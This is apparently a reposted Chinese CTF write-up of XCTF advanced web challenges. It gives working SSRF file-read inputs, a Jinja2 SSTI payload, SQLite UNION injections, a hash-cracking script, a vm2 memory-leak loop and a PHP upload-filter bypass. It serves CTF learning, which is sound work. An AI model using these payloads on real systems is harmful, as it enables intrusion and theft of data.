[ 攻防世界 ] web进阶

目的:练习做题手感和思路

CAT

搜索框搜索

弹出 ?url=

猜测是SSRF,所有协议均被过滤

http://
file:///
dict://
gopher://

回归题目和描述,由 CAT联想是命令执行,依然是 invalid url

思路切入点 invalid url => fuzz

fuzz是我思路和实践弱项,积累

?url=%88
宽字节,获取报错信息

[ 攻防世界 ] web进阶
html源码

复制粘贴本地查看

看到了熟悉的django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。

同时看到项目的绝对路径为/opt/api,结合之前fuzz没有过滤掉的 @
CURLOPT_POSTFIELDS知识点

[ 攻防世界 ] web进阶
这里还需要懂一些django开发的基本知识,django项目下一般有个 settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库)
如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。

读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

?url=@/opt/api/api/settings.py

获取到数据库信息路径

?url=@/opt/api/database.sqlite3

[ 攻防世界 ] web进阶

Confusion1

考点:

python => ssti => flask模板 => jinja2引擎

python_ssti基本思路:

[ 攻防世界 ] web进阶

魔术方法:

__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承该类的所有子类

bypass关键字:

特有变量:config request sessiong
特有函数:url_for(),get_flashed_messages()
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
config 也是 Flask 框架中的一个全局对象,它代表 " 当前配置对象( flask.config ) " , 它是一个类字典的对象 , 包含了所有应用程序的配置值

payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

FlatScience

查看源码

访问robots.txt

User-agent: *
Disallow: /login.php
Disallow: /admin.php

/login.php

登录框sql注入无反应(没有尝试单引号闭合)

查看源码

[ 攻防世界 ] web进阶

/login.php?debug


query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

SQLite注入

$db = new SQLite3('../fancy.db');

        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

[ 攻防世界 ] web进阶

关于SQLite

sqlite有一个sqlite_master表(全局模式表存放本数据库所有表、视图、索引、触发器等的定义,可找到用户表的sql定义
' union select name,sql from sqlite_master--

[ 攻防世界 ] web进阶
usr=' union select id,name from Users--&pw=
usr=' union select id,password from Users--&pw=

Set-Cookie: name=+admin; expires=Wed, 09-Feb-2022 05:10:39 GMT; Max-Age=60; path=/
Set-Cookie: name=+3fab54a50e770d830c0416df817567662a9dc85c; expires=Wed, 09-Feb-2022 05:09:42 GMT; Max-Age=60; path=/
Set-Cookie: name=+my+fav+word+in+my+fav+paper%3F%21; expires=Wed, 09-Feb-2022 05:11:14 GMT; Max-Age=60; path=/
admin
3fab54a50e770d830c0416df817567662a9dc85c
my fav word in my fav paper!?

密码经过sha1加密,解密可获得密码

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

sha1(ThinJerboa)=3fab54a50e770d830c0416df817567662a9dc85c

[ 攻防世界 ] web进阶

非预期

[ 攻防世界 ] web进阶

; 预期

python爬虫爬取所有pdf文件

脚本1

import urllib.request
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf' # 设置正则表达式匹配pdf文件
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list
    print(url)
    req = requests.get(url).text
    # 获取该页面的所有reques Response的Unicode编码内容
    re_pdf = re.findall(re1,req)
    # 用正则表达式获取该页面中的pdf文件名称
    for index in re_pdf:
        pdf_url=url + index
        pdf_list.append(pdf_url)
    # 这道题狗在 还有很多pdf文件在其他页面 所以需要去访问其他页面再去获取该页面下的pdf
    re_html = re.findall(re2,req)
    # 依次去访问所有的1/2这些页面 每次访问并获取该页面下的pdf文件
    for j in re_html:
        new_url = url+j[0:2] # 切片 将1/index.html 只取1/
        print(new_url)
        get_pdf(new_url)
    return pdf_list

def download(i,url):
    file_name =str(i)+'.pdf'
    req = requests.get(url)
    f = open(r'C:\Users\lenovo\Desktop\python\buuctf做题脚本\XCTF-FlatScience\pdf\\'+file_name,'wb')
    f.write(req.content) # content返回的是HTTP内容的二进制形式
    f.close()
    print('Sucessful to download'+' '+file_name)

if __name__=='__main__':
    pdf_list = get_pdf('http://111.200.241.244:41641/')
    for i in range(len(pdf_list)):
        download(i,pdf_list[i])

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
  return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text

def find_password():
  pdf_path = get_pdf()
  for i in pdf_path:
    print "Searching word in " + i
    pdf_text = convert_pdf_2_text(i).split(" ")
    for word in pdf_text:
      sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
      if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
        print "Find the password :" + word
        exit()

if __name__ == "__main__":
  find_password()

脚本2

import urllib.request
import re

allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")

def my_reptile(url_root,html):
  global pat_pdf
  global pat_html
  html=url_root+html

  if(isnew(html)):
    allHtml.append(html)

    print("[*]starting to crawl site:{}".format(html))
    with urllib.request.urlopen(html) as f:
      response=f.read().decode('utf-8')

    pdf_url=pat_pdf.findall(response)
    for p in pdf_url:
      p=p[6:len(p)-1]
      download_pdf(html+p)

    html_url=pat_html.findall(response)
    for h in html_url:
      h=h[6:len(h)-11]
      my_reptile(html,h)

def download_pdf(pdf):
  global count

  fd=open(str(count)+'.pdf','wb')
  count+=1

  print("[+]downloading pdf from site:{}".format(pdf))
  with urllib.request.urlopen(pdf) as f:
    fd.write(f.read())
  fd.close()

def isnew(html):
  global allHtml
  for h in allHtml:
    if(html==h):
      return False
  return True

if __name__=="__main__":
  my_reptile("http://111.198.29.45:34582/",'')

pdf转txt

from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os

def pdf2txt(pdfFile,txtFile):
  print('[+]converting {} to {}'.format(pdfFile,txtFile))

  fd_txt=open(txtFile,'w',encoding='utf-8')
  fd_pdf=open(pdfFile,'rb')

  parser=PDFParser(fd_pdf)
  doc=PDFDocument()
  parser.set_document(doc)
  doc.set_parser(parser)
  doc.initialize()

  manager=PDFResourceManager()
  laParams=LAParams()
  device=PDFPageAggregator(manager,laparams=laParams)
  interpreter=PDFPageInterpreter(manager,device)

  for page in doc.get_pages():
    interpreter.process_page(page)
    layout=device.get_result()

    for x in layout:
      if(isinstance(x,LTTextBoxHorizontal)):
        fd_txt.write(x.get_text())
        fd_txt.write('\n')
  fd_pdf.close()
  fd_txt.close()
  print('[-]finished')

def crazyWork():
  print('[*]starting my crazy work')
  files=[]
  for f in os.listdir():
    if(f.endswith('.pdf')):
      files.append(f[0:len(f)-4])

  for f in files:
    pdf2txt(f+'.pdf',f+'.txt')

if __name__=='__main__':
  crazyWork()

爆破

import os
import hashlib

def searchPassword():
  print('[*]starting to search the word')
  for file in os.listdir():
    if(file.endswith('.txt')):
      print('[+]searching {}'.format(file))
      with open(file,'r',encoding='utf-8') as f:
        for line in f:
          words=line.split(' ')
          for word in words:
            if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
              print('[@]haha,i find it:{}'.format(word))
              exit()

if __name__=='__main__':
  searchPassword()

leaking

HITCON 2016

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
    if (req.query.data && req.query.data.length " + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

题型:

nodejs沙箱逃逸

什么是沙箱机制

什么是npm

  • var { VM } = require(“vm2”);

得知是Node.js 官方安全沙箱的库。

  • 在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数Buffer.allocUnsafe(size) 来获得未清空的内存。
  • 我们可以再沙箱里面执行任意的命令,那我们如何逃逸出去呢?

paylaod脚本

import requests

url = ' http://111.200.241.244:58959/?data=Buffer(700)'

while True:
    res = requests.get(url)
    print(res.status_code)

    if 'flag{' in res.text:
        print(res.text)
        break

ics-09

http://111.200.241.244:56012/index.php?page=flag.php

      page :
      id :

    view-source

    something wae wrong ! ");
      if($result){
        echo "id: ".$result->id."";
        echo "name:".$result->user."";
        $_SESSION['admin'] = True;
      }
     ?>

要满足

if ($_SESSION['admin'])

就要满足第三个条件达到 $_SESSION['admin'] = True;

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')
  • floatval

[ 攻防世界 ] web进阶
  • mysql_real_escape_string

浮点数部不为1

最后一位为9的字符串

1/9和1-9均可满足

/index.php?page=flag.php&id=1/9

$filename = "backup/".$file; //文件名
···
  chdir('uploaded');//修改路径到/uploaded/

最终目录:

/uploaded/backup/xxx.xx
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))

匹配.php3457,pht,phtml
如果匹配到,那么就结束
如果没有匹配到,那么就写入文件

正则的话是判断.之后的字符,因此我们可以利用’/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

con=&file=../orz.php/.

con=&file=p.php/.

bug

  • 包修改admin的密码

[ 攻防世界 ] web进阶
  • manage

[ 攻防世界 ] web进阶
  • p伪造

[ 攻防世界 ] web进阶
  • 文件上传
/index.php?module=filemanage&do=upload

[ 攻防世界 ] web进阶

文件内容绕过,并且需要修改php后缀为php4或者php5

[ 攻防世界 ] web进阶

Original: https://blog.csdn.net/Dannie01/article/details/121500421
Author: J1A
Title: [ 攻防世界 ] web进阶

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/750393/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • pymysql保存数组_pymysql返回数据的处理

    pymysql可以使用fetchall返回元组型数据,也可以直接使用pandas获取DataFrame格式数据。具体操作如下。 1、首先,定义连接和查询sql In [1]: im…

    Python 2023年8月9日
    055
  • Pytest + GitLab CI 单独重跑失败的用例

    前言 除了失败立即 retry,有时我们也需要在开发修复后单独重跑失败的用例。介于 pytest 可以手动指定 n 条用例目录,所以实现起来并不难。 举个例子 python tes…

    Python 2023年9月10日
    040
  • python 常用库简介

    Scipy 是一个用于数学、科学、工程领域的常用软件包,可以处理插值、积分、优化、图像处理、常微分方程数值解的求解、信号处理等问题。它用于有效计算 Numpy 矩阵,使 Numpy…

    Python 2023年8月25日
    049
  • Flask框架-Graphql的使用

    Flask框架-Graphql的使用 – 潘登同学的flask学习笔记 文章目录 * – Flask框架-Graphql的使用 — 潘登同学的flask学习…

    Python 2023年8月12日
    055
  • 微信小程序组件化

    组件定义 1、创建组件 构造器使用的时Component 配置文件中设置component:true 2、引入组件 首先声明这个组件,在配置文件声明 "usingComp…

    Python 2023年9月15日
    063
  • 使用Pytorch进行多卡训练

    深度学习中,当一块GPU不够用时,我们就需要使用多卡进行并行训练。其中多卡并行可分为数据并行和模型并行。具体区别如下图所示: 由于模型并行比较少用,这里只对数据并行进行记录。对于p…

    Python 2023年10月19日
    039
  • 单元测试之pytest

    前提:需要安装pytest和pytest-html(生成html测试报告) pip install pytest 和 pip install pytest-h…

    Python 2023年9月15日
    028
  • Python每日一练(牛客数据分析篇新题库)——第37天:合并

    文章目录 1. 去掉信息不全的用户 2. 修补缺失的用户数据 3. 解决牛客网用户重复的数据 4. 统一最后刷题日期的格式 《100天精通Python》专栏推荐白嫖80g Pyth…

    Python 2023年8月19日
    072
  • Matter理论介绍-通用-1-06:桥接设备-其他功能

    源码 文档 软件 硬件 技术交流 技术支持 入口 文末 】 【所有相关IDE SDK 例程源码 均可从群文件免费获取 免安装 解压即用 持续更新中,欢迎关注! 【活动报名】2023…

    Python 2023年9月15日
    027
  • FLASK+VUE–前后端分离(二)- VUE基础安装及项目的简易介绍

    FLASK+VUE–前后端分离(一)- Flask基础讲解之路由、视图函数及代码实现FLASK+VUE–前后端分离(二)- VUE基础安装及项目的简易介绍FLASK+VUE–前后端…

    Python 2023年8月12日
    041
  • 必知必会,这4种 Python 数据透视函数一定要掌握

    大家好,今天和大家分享 Pandas中四种有关数据透视的通用函数,在数据处理中遇到这类需求时,能够很好地应对。 喜欢记得收藏、关注、点赞。 注:完整资料、技术交流文末获取 pand…

    Python 2023年8月6日
    046
  • pyqt入门

    第一次接触pyqt是在20年刚毕业的时候,时隔两年,恰逢闲暇,正好回过头来对这个模块的知识进行一个整理,不会做系统化的整理,我打算可能会围绕之前做过的小工具对其涉及到的控件、信号和…

    Python 2023年10月31日
    040
  • mysql基础练习题(单表练习)

    1、创建emp表,设计字段为id,name,age,sex, salary(工资),resume(履历),time(入职时间)。 2、往表中添加数据如下: insert into …

    Python 2023年6月12日
    088
  • Pytest测试框架(一):pytest安装及用例执行

    系列文章目录 Pytest测试框架(一):pytest安装及用例执行Pytest测试框架(二):pytest 的setup/teardown方法Pytest测试框架(三):pyte…

    Python 2023年9月12日
    058
  • 376. 机器任务——最小点覆盖+匈牙利算法

    有两台机器 A,B 以及 K 个任务。 机器 A 有 N 种不同的模式(模式 0∼N−1),机器 B 有 M 种不同的模式(模式 0∼M−1)。 两台机器最开始都处于模式 0。 每…

    Python 2023年10月8日
    031
  • 数据科学必备Pandas数据分组GroupBy方法汇总

    大家好,我是Mr数据杨。今天我们将一同走进充满数字的Python世界,我想拿《三国演义》的例子来阐述一下学习笔记中的主题。 首先得有数据。试想一下,如果三国的谋士们如诸葛亮,郭嘉,…

    Python 2023年8月8日
    038
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球